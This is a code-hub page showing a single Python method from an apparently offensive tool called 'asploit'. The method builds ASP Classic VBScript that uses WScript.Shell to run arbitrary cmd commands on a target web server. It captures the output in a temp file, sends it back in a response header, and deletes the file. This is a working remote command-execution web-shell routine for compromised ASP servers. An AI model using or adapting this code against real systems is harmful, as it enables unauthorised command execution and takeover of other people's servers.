MCPcopy Create free account
hub / github.com/Geeoon/asploit / __run

Method __run

src/ASPClassicExploitProcessor.py:60–85  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

58 @return stdout of the command.
59 """
60 def __run(self, options: str):
61 options = (options # escape
62 .replace("\"", "\"\"") # double quotes
63 .replace("\n", "\" & vbCrLf & \"") # new lines
64 )
65 res = self.__eval( # The options is not base64 encoded, so some things
66 # like carriage return won't be escaped, and this
67 # could cause transmission errors.
68 "Set objShell = Server.CreateObject(\"WScript.Shell\"):"
69 "Set fileSys = "
70 "Server.CreateObject(\"Scripting.FileSystemObject\"):"
71 "fileName = Server.MapPath(\"/\") & \"\\\" & "
72 "fileSys.GetTempName( ):"
73 f"Call objShell.Run (\"cmd /c cd \"\"{self.directory}\"\" &&"
74 f" ({options}) > \" & fileName, 0, True):"
75 "Set oFile = fileSys.OpenTextFile (fileName, 1, False, 0):"
76 "If Not oFile.AtEndOfStream Then:"
77 f"Response.AddHeader \"{self.header}\", "
78 "Server.URLEncode(oFile.ReadAll):"
79 "Else:"
80 f"Response.AddHeader \"{self.header}\", \"\":"
81 "End If:"
82 "oFile.Close:"
83 "Call fileSys.DeleteFile(fileName, True):"
84 )
85 return urllib.parse.unquote_plus(res)
86
87 """
88 @brief See base class for details.

Callers 3

_Base__pwdMethod · 0.95
_Base__runMethod · 0.95
_Base__cdMethod · 0.95

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected